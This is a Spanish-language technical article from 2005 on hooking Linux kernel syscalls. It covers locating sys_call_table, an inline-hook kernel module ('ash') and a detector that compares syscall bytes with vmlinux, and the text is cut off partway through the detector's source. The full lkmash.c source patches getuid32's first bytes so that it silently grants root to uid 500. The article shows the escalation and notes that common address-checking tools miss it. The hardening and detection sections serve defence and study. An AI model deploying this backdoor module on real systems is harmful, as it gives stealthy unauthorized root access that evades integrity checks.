=-[ http://www.badchecksum.com ]-============================================ =-[ Hijacking syscalls ]-=========================================-[ 2005 ]-= =-[ por kenshin ]-==============================-[ kenshincoder^gmailcom. ]-= 0 - I n d i c e 0 - Indice 1 - Introduccion 2 - Dumpear el kernel 3 - Obtener la Syscall Table 3.1 - Metodo de la IDT 3.2 - Metodo de la syscall 4 - Como se llega a ejecutar una syscall 5 - Redireccionamiento de syscalls 6 - Comprobar syscalls 7 - Conclusion 8 - Cierre 9 - Enlaces 10 - Codigos _____________________________________________________________________________ 1 - I n t r o d u c c i o n Antes de comenzar recomiendo leer Linux Device Drivers [1] para entender el funcionamiento basico de los modulos en linux, aunque supongo que todos los que esteis leyendo esto ya lo habreis hecho. En este articulo no se van a explicar metodo basico de hookeo de syscalls, creo que ya hay suficientes articulos que lo explican y lkm rootkits que lo implementan. En vez de eso voy a explicar un metodo de hookeo sin cambiar las direcciones de ninguna syscall y luego explicare como detectar el metodo con un programa que he implementado. Antes de todo esto pondre un ejemplo de lo que pasa antes de ejecutarse una syscall y tambien explicare como podemos encontrar la syscall table en linux 2.6 Como los codigos son bastante grandes los he puesto en el ultimo punto, asi el texto estara mas ordenado. Estos codigos estan programados para funcionar en linux 2.6 y han sido portados a 2.4, si en 2.4 hubiese alguna incompatibilidad no creo que sea muy dificil de solucionar. El inconveniente que tienen es que solo funcionan en maquinas x86 de 32 bits. Voy a hacer un pequeño repaso, el espacio de memoria de usuario se encuentra en linux entre la direccion 0x0000000 y la 0xbfffffff y el espacio del kernel esta comprendido entre 0xc0000000 y 0xffffffff. Entre 0xc00000000 y 0xc01000000 se situa la parte de codigo de arranque. La direccion de inicio del kernel es 0xc0100000 y es a partir de ahi donde comenzaremos a investigar. ____________________________________________________________________________ 2 - D u m p e a r e l k e r n e l Este apartado es una simple muestra de como dumpear el kernel, esto nos hara falta para el punto 6 donde compararemos los opcodes del kernel con los de vmlinux y asi podremos ver las diferencias entre ellos. Una forma de dumpear memoria del kernel es abrir el archivo /proc/kcore utilizado un editor hexadecimal. Para poder utilizar este archivo solo tenemos que poner CONFIG_PROC_KCORE=y en el .config del kernel. La salida de kcore daria algo asi: # hexdump -C /proc/kcore |grep ^00101000 -A3 00101000 fc 0f 01 15 3a 20 52 00 b8 18 00 00 00 8e d8 8e |....: R.........| 00101010 c0 8e e0 8e e8 31 c0 bf 00 90 60 00 b9 44 03 64 |.....1....`..D.d| 00101020 00 29 f9 c1 e9 02 f3 ab bf 00 10 64 00 ba 00 90 |.).........d....| 00101030 60 00 b8 07 00 00 00 8d 4f 07 89 0a 89 8a 00 0c |`.......O.......| La direccion 00101000 representa realmente la direccion 0xc0100000 que es la direccion de incio del kernel, esta direcciones corresponde a la etiqueta startup_32. Y 0x1000 es la direccion de inicio de vmlinux. Por lo tanto, para ver una direccion concreta utilizando /proc/kcore tendremos que restar 0xc0000000 y sumar 0x1000 a la direccion real. He puesto como ejemplo hexdump, pero lo podeis hacer con el editor hexadecimal que mas os guste, a mi personalmente me gusta mas hexcurse porque tiene una representacion mas clara. ____________________________________________________________________________ 3 - O b t e n e r l a S y s c a l l T a b l e Como todos sabeis la sys_call_table no se exporta desde la version 2.5.27 del kernel que es cuando se comienzan a utilizar module-init-tools, por tanto tendremos que buscar algun metodo para encontrarla. Aunque hay que decir que algunas arquitecturas aun la exportan, lo podemos ver facilmente asi: # find /usr/src/linux/| xargs grep EXPORT| grep sys_call_table /usr/src/linux/arch/mips/kernel/scall32-o32.S:EXPORT(sys_call_table) /usr/src/linux/arch/mips/kernel/irix5sys.S:EXPORT(sys_call_table_irix5) /usr/src/linux/arch/sparc64/kernel/sparc64_ksyms.c:EXPORT_SYMBOL(sys_call_table32); /usr/src/linux/arch/sparc64/kernel/sparc64_ksyms.c:EXPORT_SYMBOL_GPL(sys_call_table); /usr/src/linux/arch/parisc/kernel/syscall.S: .export sys_call_table /usr/src/linux/arch/parisc/kernel/syscall.S: .export sys_call_table64 /usr/src/linux/arch/x86_64/ia32/sys_ia32.c:EXPORT_SYMBOL(ia32_sys_call_table); 3.1 - M e t o d o d e l a I D T A continuacion explicare el metodo de sd y devik para encontrar la syscall table, teneis mas informacion en "Linux on-the-fly kernel patching without LKM" [3]. Recomiendo para tener los conceptos mas claros leer el articulo "Handling the Interrupt Descriptor Table" [4] donde se explica fenomenalmente el funcionamiento de la Tabla Descriptora de Interrupcion, a partir de ahora la llamaremos IDT. - Buscamos la sys_call_table en vmlinux # objdump -D /usr/src/linux/vmlinux| grep "" c05265c0 : - Buscamos instrucciones que contengan la direccion de la sys_call_table # objdump -D /usr/src/linux/vmlinux| grep c05265c0 c0103134: ff 14 85 c0 65 52 c0 call *0xc05265c0(,%eax,4) c010318e: ff 14 85 c0 65 52 c0 call *0xc05265c0(,%eax,4) c05265c0 : c05265c0: b0 77 mov $0x77,%al - Haciendo greps buscamos alguna direccion que podamos encontrar y que este cerca de la sys_call_table, al final podemos encontrar esto: # objdump -D /usr/src/linux/vmlinux |grep ":" -B23 -A2 c010315c : c010315c: 50 push %eax c010315d: fc cld c010315e: 06 push %es c010315f: 1e push %ds c0103160: 50 push %eax c0103161: 55 push %ebp c0103162: 57 push %edi c0103163: 56 push %esi c0103164: 52 push %edx c0103165: 51 push %ecx c0103166: 53 push %ebx c0103167: ba 7b 00 00 00 mov $0x7b,%edx c010316c: 8e da mov %edx,%ds c010316e: 8e c2 mov %edx,%es c0103170: bd 00 e0 ff ff mov $0xffffe000,%ebp c0103175: 21 e5 and %esp,%ebp c0103177: 66 f7 45 08 81 01 testw $0x181,0x8(%ebp) c010317d: 0f 85 bd 00 00 00 jne c0103240 c0103183: 3d 21 01 00 00 cmp $0x121,%eax c0103188: 0f 83 1a 01 00 00 jae c01032a8 c010318e : c010318e: ff 14 85 c0 65 52 c0 call *0xc05265c0(,%eax,4) c0103195: 89 44 24 18 mov %eax,0x18(%esp) Ya hemos encontrado una direccion que podemos conseguir, la system_call. EL algoritmo que implementaremos sera: - obtener IDT - obtener system_call() (manipulador de interrupcion 80) - buscar byte a byte desde system_call hasta encontrar la cadena "\xff\x14\x85" que equivale a un call - obtener los 4 siguientes bytes que sera la direccion Y la implementacion es esta: // ponemos la direccion de la IDT en la variable idtr asm ("sidt %0" : "=m" (idtr)); // copiamos el contenido de la system_call a la estructura idt, pero solo // copiamos el numero de bytes que tenga la estructura idt memcpy((void *)&idt, (const void *)idtr.base+8*0x80, sizeof(idt)); // asignamos a int80_routine la concatenacion de off2 y off1 // (si off2=0x1234 y off1=5678 int80_routine=0x12345678) int80_routine = (idt.off2 << 16) | idt.off1; // asignamos a buff la direccion de inicio de "\xff\x14\x85" dentro de // int80_routine buff = memmem((char *)int80_routine, 100, "\xff\x14\x85", 3); // la direccion que buscamos son los bytes que hay despues del tercer // opcode de buff return *(unsigned long *)(buff+3); El codigo que utiliza este algoritmo es getsct.c (0) y el codigo para que nos muestre la sys_call_table es lkmgetsct.c (3) (sct.ko). Un ejemplo de la salida del programa añadiendo CFLAGS := -DIDT en el Makefile: # insmod lkmgetsct.ko sys_call_table: 0xc04f75c0 Tambien podriamos obtener system_call de /proc/kallsyms pero este archivo solo esta en /proc si se ha puesto la opcion CONFIG_AUDITSYSCALL=y en el kernel 3.2 - M e t o d o d e l a s y s c a l l La verdad es que se me hace raro no encontrar ningun metodo en ningun sitio mejor que el que se ha explicado arriba, por eso decidi pensar alguna forma de encontrarla y que fuese un metodo que no dependiera de la arquitectura del procesador. La idea es la misma que en el caso anterior buscar direcciones que esten cerca de la sys_call_table, pero que estas direcciones se exporten. # grep sys_call_table /usr/src/linux/System.map -4 c05263cc D child_reaper c05263e0 D system_utsname c0526568 D root_mountflags c0526580 D interrupt c05265c0 D sys_call_table c0526a44 d kstack_depth_to_print c0526a48 d die.1 c0526a50 d nmi_callback c0526a60 D jiffies Una buena direccion que se exporta es system_utsname que esta a 0xc05265c0-0xc05263e0 = 480 opcodes. Ahora necesitamos una syscall que se exporte, elegimos sys_open que se exporta en /usr/src/linux/fs/open.c Aplicaremos este algoritmo: - Ponemos el offset a 0 - asignamos a la sys_call_table la direccion de system_utsname mas el offset - comparamos la direccion de sys_call_table[sys_open] con la de sys_open - si son diferentes volvemos al punto 2 y incrementamos en 4 opcodes (32 bits) - si son iguales retornamos la direccion de la sys_call_table Lo implementaremos asi: // en nuestro caso el offset es de 480 opcodes, pero para mas // seguridad ponemos 1024 for (i = 0; i < 1024; i++) { // asignamos una posible direccion tmp_sys_call_table = (unsigned long *)&system_utsname+i; if (tmp_sys_call_table[__NR_open] == (unsigned long)&sys_open) // retornamos la direccion return (unsigned long)tmp_sys_call_table; } Este codigo esta en getsct.c (0) y el codigo para que nos muestre la sys_call_table esta en lkmgetsct.c (3), como en el otro apartado. La salida de sct.ko seria, como es logico, la misma que en el apartado anterior, para compilarlo no se ha de definir -DIDT en el Makefile. ____________________________________________________________________________ 4 - C o m o s e l l e g a a e j e c u t a r u n a s y s c a l l En este apartado veremos con un ejemplo de lo que pasa antes de ejecutar una syscall, tomaremos como ejemplo el programa id, ya que luego lo usaremos como ejemplo de redireccion de syscalls en ash. Espacio de usuario | Espacio de kernel ---------+---------------------+-----------+----------+--------------------- Proceso | Funcion del sistema | Interfaz system_call | funciones del kernel ---------+---------------------+----------------------+--------------------- id -> getuid32() -> [ ] -> sys_getuid32 lo que nos interesa de getuid32() es que llamara a funciones que ejecutaran int 80 para pasar al espacio del kernel Interfaz de system_call: Modo kernel ---------------------------------------------------------------------------- Tabla de Descriptores Tabla de llamadas del de Interrupcion (IDT) sistema (Syscall Table) Se escoge el manipulador _ __ __ __ __ __ _ _ __ __ __ __ __ _ de interrupciones --> _|__|__|__|__|__|_ .-> _|__|__|__|__|__|_ (en linux es el 80) | | | Se escoge la llamada -' sys_getuid32() del sistema (syscall) Mirando el esquema de arriba vemos los puntos que podrian ser vulnerables a un redireccionamiento de su flujo de ejecucion hacia otras funciones nuestras que podriamos haber cargado previamente en el kernel. Esto puntos que podriamos redireccionar son la IDT, la Syscall Table y la syscall. Redireccionar la direccion de la IDT ya esta comentado estupendamente en phrack [4], modificar la direccion de la Syscall Table hacia una copia modificada de esta es facil de implementar y manipular la direccion de alguna syscall para ejecutar nuestro codigo antes de la syscall ya esta mas que visto. Ademas, en mi opinion, cuanto antes se modifique el flujo normal de ejecucion, antes se detectara que el sistema ha sido modificado. Por todo eso propongo otra idea que es no redireccionar las direcciones de ningun paso intermedio, sino modificar los primeros bytes de la syscall para asi conseguir ejecutar nuestro codigo y al terminar de ejecutarlo, llamar a la syscall original, esto lo veremos en el punto siguiente. ____________________________________________________________________________ 5 - R e d i r e c c i o n a m i e n t o d e s y s c a l l s Como todos sabreis la forma normal de redireccionamiento de syscalls se basa en cambiar la direccion original de una syscall hacia tu codigo y que este retorne a la syscall original. Este metodo tiene un problema, si obtenemos cada una de las direcciones de los punteros de la sys_call_table y las comparamos con System.map vemos que direcciones hemos modificado, por tanto que syscalls han sido redireccionadas. Un programa que checkea esto es kerncheck [2], luego en el punto de checkear syscalls veremos un programa para ver si las direcciones estan cambiadas y para arreglar sus opcodes. Bueno ahora vamos en serio, como ya he dicho en el apartado anterior utilizaremos otro metodo que es algo mas "avanzado", por llamarlo de alguna forma, de redireccionar el funcionamiento normal de una syscall, que como el metodo es mio me permito el lujo de llamarlo ash (Advanced Syscall Hook) y que esta basado en las ideas del tsph.c de vecna Este es el algoritmo de ash: 1 - Al cargar el modulo - creamos 2 strings del mismo tamaño, uno con los opcodes de un jmp y otro sin inicializar - copiamos los 7 primeros bytes de la syscall en un string (nos servira de copia para que cuando descarguemos el modulo todo quede como estaba) - copiamos la direccion de la funcion que queremos inyectar a la syscall al string - copiamos este string en los primeros bytes de la syscall 2 - Al ejecutar la syscall - ejecutamos el codigo que queramos (en nuestro caso daremos root al usuario 500) - copiamos a la syscall los 7 primeros bytes, dejandola como estaba originalmente - ejecutamos la syscall con sus parametros (si los tiene) - copiamos de nuevo los 7 primeros bytes de la syscall para dejar residente nuestro codigo 3 - Al descargar el modulo - se copia el string con los 7 opcodes originales a syscall, dejandola como estaba Los 7 primeros bytes corresponden a: movl $0,%ebp // "\xbd\x00\x00\x00\x00" jmp *%ebp // "\xff\xe5" donde "\x00\x00\x00\x00" sera done copiaremos la direccion del codigo que queremos inyectar. Se ve claramente que este metodo es mejor que el metodo normal de redireccionamiento, ya que la direccion original de la syscall no cambia, solo se cambian los 7 primeros bytes de esta, pero este metodo tiene el inconveniente que es algo mas dificil de implementar. > funcionamiento de ash (se que esto del ASCII art es una geekada, pero me hacia gracia ponerlo para que quede mas claro :) 1- __ __ __ __ __ __ __ __ __|__|__|__|__|__|__|__ | .-----. | _v__ | _v__ |####| `--|####| |####| | | |####| |____| codigo syscall inyectado con jmp 2- __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __|__|__|__|__|__|__|__ __|__|__|__|__|__|__|__ | | | .-----. | ____ _v__ _v__ | _v__ |####| .->| | |####| `--|####| |####| | | | |####| | | |####| | |____| |####| |____| `------' `------> ret codigo syscall codigo syscall inyectado inyectado 3- __ __ __ __ __ __ __ __ __|__|__|__|__|__|__|__ | | _v__ | | | | |____| `------> ret syscall Uso practico: $ tty /dev/vc/8 $ id uid=500(kenshin) gid=100(users) groups=35(games),100(users) # tty /dev/vc/2 # insmod ash.ko # [ got root ] # $ tty /dev/vc/8 [ got root ] [ got root ] $ id [ got root ] uid=0(root) gid=0(root) euid=500(kenshin) groups=35(games),100(users) [ got root ] [ got root ] $ bash [ got root ] # id [ got root ] uid=0(root) gid=0(root) groups=35(games),100(users) # Guay ;), el modulo funciona a la perfeccion. Cada vez que se ejecuta sys_getuid32() se hace un printk("<0>[ got root ]"); para saber las veces se ejecuta esta. Si aun teneis alguna duda mirar lkmash.c (3) (ash.ko) donde se implementa todo lo que he comentado. _____________________________________________________________________________ 6 - C o m p r o b a r s y s c a l l s Como hemos visto antes, ash no cambia direcciones y por lo tanto programas del estilo kerncheck [1] no detectan la modificacion, pero eso no quiere decir que no se pueda detectar :> Para comprobar lo bytes de las syscalls utilizaremos lkmchecksc.c (chksc.ko) que se basa en comparar los bytes de cada syscall con los bytes de las syscalls de vmlinuz, mostrando los bytes de las dos sysalls en caso de haber diferencias. Ademas incorporando el parametro repair=1 al cargar el modulo hace varias reparaciones. El algoritmo para implementar el codigo es este: - abrimos vmlinux y el archivo de configuracion creado con mkconfig.pl. - obtenemos la sys_call_table del kernel y la del archivo de configuracion. - si son diferentes, alguien la ha modificado, por tanto no checkeamos mas y termina la ejecucion del programa. - si son iguales, vamos obteniendo las direccion de las syscalls del kernel y las comparamos con las de vmlinux. - si las direcciones son diferentes alguien a redireccionado una syscall y mostramos que la direccion es diferente. - si las direcciones son iguales, hacemos un bucle que compruebe los bytes de cada syscall del kernel con los bytes de cada syscall de vmlinux. - si los bytes son diferentes mostramos los bytes de la syscall del kernel y los de vmlinux. - si los bytes son iguales las dos syscalls son identicas por lo que no hacemos nada. Si se le pasa el parametro repair=1 al cargar el modulo ademas el modulo hace esto: - Repara la direccion de la sys_call_table - Repara las direcciones de las syscalls - Repara los opcodes de las syscalls Vamos ahora con las syscalls que no estan especificadas en kernels 2.6, o al menos no estan en el momento de escribir esto: - A partir de kernels >= 2.4 estas syscalls no se utilizan: #define __NR_break 17 #define __NR_stty 31 #define __NR_gtty 32 #define __NR_ftime 35 #define __NR_prof 44 #define __NR_lock 53 #define __NR_mpx 56 #define __NR_ulimit 58 #define __NR_profil 98 Since 2.3.13 this system call does not exist anymore #define __NR_idle 112 #define __NR_afs_syscall 137 /* Syscall for Andrew File System */ #define __NR_getpmsg 188 /* some people actually want streams */ #define __NR_putpmsg 189 /* some people actually want streams */ - Segun unistd.h las siguientes syscalls existen, pero en kernels 2.6 no estan. #define __NR_create_module 127 #define __NR_quotactl 131 #define __NR_query_module 167 #define __NR_set_mempolicy 276 #define __NR_sys_kexec_load 283 #define __NR_keyctl 288 Si alguien las quiere implementar es muy facil hacer modificaciones a lkmchksc.c para que chequee estas syscalls. - Y por ultimo, las syscalls 222, 223 y 251 no estan definidas en "asm/unistd.h" Si comparamos las funciones del sistema (tipo getuid32()) y las funciones del kernel (tipo sys_getuid32()) vemos que algunos nombres varian un poco, lo mas normal es que una funcion del sistema que acabe en 16 termine sin numero en una funcion del kernel o que una funcion del sistema que no tienen numero se les añade un 32 en la funcion del kernel. Por lo tanto para hacer el archivo de configuracion cambiaremos los nombres de las funciones del kernel a funciones del sistema y las compararemos con las de "asm/unistd.h" y luego pondremos como resultado en el archivo los nombres de las funciones del kernel. Tengo que decir que por no pegarme el currazo de analizar vmlinux y buscar las direcciones de la syscall_table y de las syscalls dentro del modulo, he implementado un script mkconfig.pl (4) que crea un fichero con la direccion, el tamaño y el nombre de la syscall. Por ejemplo: # ./mkconfig.pl /usr/src/linux/vmlinux config # head config c04f75c0 c01277d0 00000015 sys_restart_syscall c011df30 0000000d sys_exit c0101b90 00000035 sys_fork c015b180 00000080 sys_read c015b200 00000080 sys_write c015a350 000000dd sys_open c015a4f0 00000093 sys_close c011ef60 00000029 sys_waitpid c015a430 00000024 sys_creat Uso practico: Si cargamos un modulo como lkmash.c (ash.ko) que modificara los bytes de la syscall getuid32 para llamar a una funcion que dara root a un usuario especifico y luego cargamos lkmchksc.c (5) (chksc.ko) obtendremos algo asi: # insmod ash.ko # insmod chksc.ko vmlinux=/usr/src/linux/vmlinux \ config=/root/hsc/config output=/root/hsc/output # cat output kernel vmlinux 0xc05265c0 == 0xc05265c0 (sys_call_table) [...] <- (*) 0xc0124970 == 0xc0124970 (199) (sys_getuid32) kernel [bd[c0[d0[ef[cf[ff[e5[00 00 8b 80 64 01 00 00 c3 vmlinux [b8[00[e0[ff[ff[21[e0[8b 00 8b 80 64 01 00 00 c3 Vemos que funciona ;). El caracter '[' indica que el byte de la syscall en memoria es diferente en comparacion con el de vmlinux. (*) Posiblemente en kernels 2.6, en 2.4 no pasa, antes de la salida de getuid32 saldra alguna otra syscall que tiene algunos opcodes diferentes, en grupos de cuatro en cuatro, pero no creo que tenga mucha importancia. Ahora reparamos lo bytes que antes hemos visto modificados. # rmmod chksc.ko # insmod chksc.ko vmlinux=/usr/src/linux/vmlinux \ config=/root/hsc/config output=/root/hsc/output repair=1 # cat output kernel vmlinux 0xc04f75c0 == 0xc04f75c0 (sys_call_table) syscalls [ ok ] Guay :), lo repara todo. Como ya he dicho en el punto anterior para cualquier duda mirar el codigo de lkmchksc.c (3). _____________________________________________________________________________ 7 - C o n c l u s i o n Con lkmchksc.c (chksc.ko) no hay suficiente seguridad porque solo sirve para en un momento determinado mirar si hay modificaciones en las syscalls y arreglarlas. Una buena idea seria hacer un modulo que comprobara cada vez que se cargan otros modulos o cada cierto tiempo, si estos han modificado la direccion de la sys_call_table o la de alguna syscall, o sus opcodes. Y si el modulo con codigo malicioso ha hecho modificaciones descargarlo o hacer otra cosa, pero eso os lo dejo para vosotros. Como ya he comentado antes hay programas como kernel_check [2], kstat [5] y syscall_sentry LKM [6] que se basa en comparar las direcciones de cada una de la syscall a partir de la sys_call_table con las direcciones originales, como hemos visto estos metodos de comprobacion no detectarian ash :) Otra solucion para que no se puedan cargar ni descargar modulo, o para que no se pueda escribir en /dev/kmem o /dev/kcore, es usando "BSD Secure Levels Linux Security Module". Son un conjunto de politicas de seguridad asociadas a unos niveles que van desde -1 a 2, y estan pensadas para que ni el root pueda modificarlas una vez configuradas, para modificarlas se necesitaria reiniciar la maquina. Para activarlas en el kernel: "Security options" -> "BSD Secure Levels" Teneis mas informacion en el archivo /usr/src/linux/Documentation/seclvl.txt y en http://www.samag.com/documents/s=9304/sam0409a/0409a.htm Otro metodo son las conocidas capabilities, un conjunto de opciones que al activarlas no permiten su reactivacion hasta que se reinicia el kernel, como la opcion de poder cargar modulos que puede ser deshabilitada. Para activarlas en el kernel: "Security options" -> "Default Linux Capabilities" Si mirais un poco en "Security options" veis "Root Plug Support" y si leeis la ayuda vereis que este modulo sirve para que no se puedan ejecutar programas con egid == 0 sino esta puesto un dispositivo USB, este modulo esta muy curioso y muy interesante. Mas informacion en: http://www.linuxjournal.com/article.php?sid=6279 Como sabes se podria parchear el kernel con parches tipo grsec, openwall, etc ... Y para finalizar lo de siempre, no dar pistas de versiones, de direcciones de funciones, por ejemplo intentar desactivar cualquier archivo del que se puedan sacar datos del kernel, tipo /proc/kcore o /proc/kallsyms, borrar System.map, vmlinux o /usr/src/linux. Incluso no permitir la carga de modulo, sobretodo si son servidores criticos, etc. En definitiva se paranoico. _____________________________________________________________________________ 8 - C i e r r e Antes de terminar me gustaria dar un toque de atencion a las nuevas generacion, a ese gente que le gusta investigar y aprender como funciona la tecnologia, se que hay mucha gente buena, pero no se si es por bagueza, pero muy poca gente aporta algo. Por lo que si queremos seguir leiendo alguien tendra que seguir redactando articulos. Bueno pues ya esta me he quedado mas tranquilo, solo me queda agradecer a la gente de phrack por enseñarme tanto y como no a la gente de badchecksum y al grupo de geeks de mi uni, especialmente agradecer a sweet que me hecho una mano con perl ;) Gracias a todos por aguantar mis paranoias :> Un abrazo, kenshin [ El conocimiento humano pertenece al mundo ] _____________________________________________________________________________ 9 - E n l a c e s [1] Linux Device Drivers [ http://lwn.net/images/pdf/LDD3/ldd3_pdf.tar.bz2 ] [2] kerncheck.c [ http://la-samhna.de/library/kern_check.c ] [3] "Linux on-the-fly kernel patching without LKM" [ http://www.phrack.org/phrack/58/p58-0x07 ] [4] "Handling the Interrupt Descriptor Table" [ http://www.phrack.org/phrack/59/p59-0x04 ] [5] kstat [ http://www.s0ftpj.org/tools/kstat24_v1.1-2.tgz ] [6] syscall_sentry [ http://www.usenix.org/publications/login/2001-11/pdfs/jones2.pdf ] [7] El codigo del kernel de Linux [ http://kernel.org ] _____________________________________________________________________________ 10 - C o d i g o s (0) <++> src/getsct.c !36619cd7 /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * lkmgetsct lkm that get sys_call_table address * by kenshin * License: >=GPL2 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ #include "lkm.h" //#define DEBUG 1 #ifdef IDT struct { unsigned short limit; unsigned int base; // offset de IDT } __attribute__ ((packed)) idtr; // Registro de la Tabla Descriptora // de Interrupcion struct { unsigned short off1; // offset pequeño //unsigned char not_interesting[4]; unsigned short sel; unsigned char none, flags; unsigned short off2; // offset grande } __attribute__ ((packed)) idt; // Tabla Descriptora de Interrupcion char *memmem(char *haystack, size_t haystacklen, char *needle, size_t needlelen) { for (; haystacklen >= needlelen; haystacklen--, haystack++) { if (!memcmp(haystack, needle, needlelen)) return haystack; } return NULL; } unsigned long getsct(void) { unsigned long int80_routine; char *buff; asm ("sidt %0" : "=m" (idtr)); #ifdef DEBUG printk("idtr base: %#x\n", idtr.base); #endif memcpy((void *)&idt, (const void *)idtr.base+8*0x80, sizeof(idt)); int80_routine = (idt.off2 << 16) | idt.off1; #ifdef DEBUG printk("Int80 handler: %#lx\n", int80_routine); #endif buff = memmem((char *)int80_routine, 100, "\xff\x14\x85", 3); return *(unsigned long *)(buff+3); } #else unsigned long *tmp_sys_call_table; extern unsigned long *sys_open; unsigned long getsct(void) { int i; for (i = 0; i < 1024; i++) { tmp_sys_call_table = (unsigned long *)&system_utsname+i; if (tmp_sys_call_table[__NR_open] == (unsigned long)&sys_open) return (unsigned long)tmp_sys_call_table; } return -1; } #endif <--> (1) // (sct.ko) <++> src/lkmgetsct.c !a1110552 /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * lkmgetsct.c lkm that show sys_call_table address * by kenshin * License: >=GPL2 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ #include "lkm.h" MODULE_DESCRIPTION("get syscall table address"); #if LINUX_VERSION_CODE < KERNEL_VERSION(2,5,47) int init_module(void) #else static int __init getsct_init(void) #endif { printk("<0>sys_call_table: %#lx\n", getsct()); } #if LINUX_VERSION_CODE < KERNEL_VERSION(2,5,47) void cleanup_module(void) #else static void __exit getsct_cleanup(void) #endif { } #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,5,47) module_init(getsct_init); module_exit(getsct_cleanup); #endif <--> (2) // (ash.ko) <++> src/lkmash.c !33383f4b /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ash Avdanced Syscall Hook * by kenshin (gracias a vecna ) por su tsph.c) * License: >=GPL2 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ #include "lkm.h" MODULE_DESCRIPTION("ash"); #define UID 500 #define __NR_SYSCALL __NR_getuid32 static char jmp_inyected_code[] = "\xbd\x00\x00\x00\x00" // movl $0x0,%ebp "\xff\xe5"; // jmp *%ebp static char tmp_syscall_code[sizeof jmp_inyected_code]; static size_t jmpsize; //jmp_inyected_code size #if LINUX_VERSION_CODE < KERNEL_VERSION(2,5,47) extern void *sys_call_table[]; #else unsigned long *sys_call_table; #endif void give_me_root(void) { if(current->uid == UID) { current->uid = 0; current->gid = 0; current->euid = 0; current->egid = 0; } } uid_t inyected_code(void) { printk("<0>[ got root ]\n"); give_me_root(); memcpy((void *)sys_call_table[__NR_SYSCALL], (const void *)tmp_syscall_code, jmpsize); //( ( tipo retorno(*)(tipo variables) ) //sys_call_table[__NR_SYSCALL] )(variables); ( ( uid_t(*)() )sys_call_table[__NR_SYSCALL] )(); memcpy((void *)sys_call_table[__NR_SYSCALL], (const void *)jmp_inyected_code, jmpsize); return 0; } #if LINUX_VERSION_CODE < KERNEL_VERSION(2,5,47) int init_module(void) { #else static int __init ash_init(void) { sys_call_table = (void *)getsct(); #endif jmpsize = sizeof(jmp_inyected_code); memcpy((void *)tmp_syscall_code, (const void *)sys_call_table[__NR_SYSCALL], jmpsize); *(unsigned long *)&jmp_inyected_code[1] = (unsigned long)inyected_code; memcpy((void *)sys_call_table[__NR_SYSCALL], (const void *)jmp_inyected_code, jmpsize); return 0; } #if LINUX_VERSION_CODE < KERNEL_VERSION(2,5,47) void cleanup_module(void) #else static void __exit ash_cleanup(void) #endif { memcpy((void *)sys_call_table[__NR_SYSCALL], (const void *)tmp_syscall_code, jmpsize); } #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,5,47) module_init(ash_init); module_exit(ash_cleanup); #endif <--> (3) // (chksc.ko) <++> src/lkmchksc.c !c5aa0279 /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * lkmchksc.c lkm that check syscalls * by kenshin * License: >=GPL2 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ #include "lkm.h" MODULE_DESCRIPTION("check syscalls"); static char *vmlinux = "", *config = "", *output = ""; static int repair = 0; #if LINUX_VERSION_CODE < KERNEL_VERSION(2,5,47) MODULE_PARM(vmlinux, "s"); MODULE_PARM(config, "s"); MODULE_PARM(output, "s"); MODULE_PARM(repair, "i"); #else module_param(vmlinux, charp, S_IRUGO); module_param(config, charp, S_IRUGO); module_param(output, charp, S_IRUGO); module_param(repair, int, S_IRUGO); #endif #define filename "chksc" #define BYTES 32 //#define DEBUG 1 #define OUTPUT output_file->f_op->write(output_file, buffer, strlen(buffer), \ &output_file->f_pos); #if LINUX_VERSION_CODE < KERNEL_VERSION(2,5,47) extern void *sys_call_table[]; #define NR_syscalls 252-12 // kernel 2.4.31 #else unsigned long *sys_call_table; #endif struct file *vmlinux_file, *config_file, *output_file; unsigned long *sct_vmlinux; unsigned char mem_vmlinux; int kerror(char *a, char *b) { printk("<0>Error: %s %s\n", a, b); return -1; } void check_bytes(char *buffer, int size, unsigned char *psc, int *bad_chars, int *diff, unsigned long pos) { int i, j; for (i = 0, j = 0; i < size; i++) { vmlinux_file->f_pos = pos+i; if (vmlinux_file->f_op->read(vmlinux_file, &mem_vmlinux, 1, &vmlinux_file->f_pos) < 1) { printk("[%02x]",mem_vmlinux); sprintf(buffer, "Error reading\n"); OUTPUT } else if (*(psc+i) != mem_vmlinux) { if (repair) *(psc+i) = mem_vmlinux; else { bad_chars[j] = i; j++; *diff = 1; } } } } void show_diff(char *buffer, int i, int size, char *sc_name, int *bad_chars, unsigned char *psc, unsigned long pos) { int j, k; #ifndef DEBUG sprintf(buffer, "%#x == %#x (%3d) (%s)\n", *(sys_call_table+i), *sct_vmlinux,i, sc_name); OUTPUT #endif sprintf(buffer, " kernel"); OUTPUT for(k = 0, j = 0; j < size; j++) { if (j%BYTES == 0) { sprintf(buffer, "\n "); OUTPUT } if (bad_chars[k] == j) { sprintf(buffer, "[%02x", *(psc+j)); OUTPUT k++; } else { sprintf(buffer, " %02x", *(psc+j)); OUTPUT } } sprintf(buffer, "\n vmlinux"); OUTPUT for (k = 0, j = 0; j < size; j++) { if (j%BYTES == 0) { sprintf(buffer, "\n "); OUTPUT } vmlinux_file->f_pos = pos + j; if (vmlinux_file->f_op->read(vmlinux_file, &mem_vmlinux, 1, &vmlinux_file->f_pos) < 1) { printk("[%02x]\n",mem_vmlinux); sprintf(buffer, "Error reading\n"); OUTPUT } else if (bad_chars[k] == j) { sprintf(buffer, "[%02x", mem_vmlinux); OUTPUT k++; } else { sprintf(buffer, " %02x", mem_vmlinux); OUTPUT } } sprintf(buffer, "\n"); OUTPUT } int check_syscalls(void) { int i, diff = 0, check = 1, size, bad_chars[512]; unsigned long *tmp_sct; char buffer[64], strsc[64], sc_name[64]; mm_segment_t orig_fs; vmlinux_file = filp_open(vmlinux, O_RDONLY, 0); if ((int)vmlinux_file == -2 || !vmlinux_file->f_op || !vmlinux_file->f_op->read) return kerror("filp_open", vmlinux); config_file = filp_open(config, O_RDONLY, 0); if ((int)config_file == -2 || !config_file->f_op || !config_file->f_op->read) return kerror("filp_open()", config); 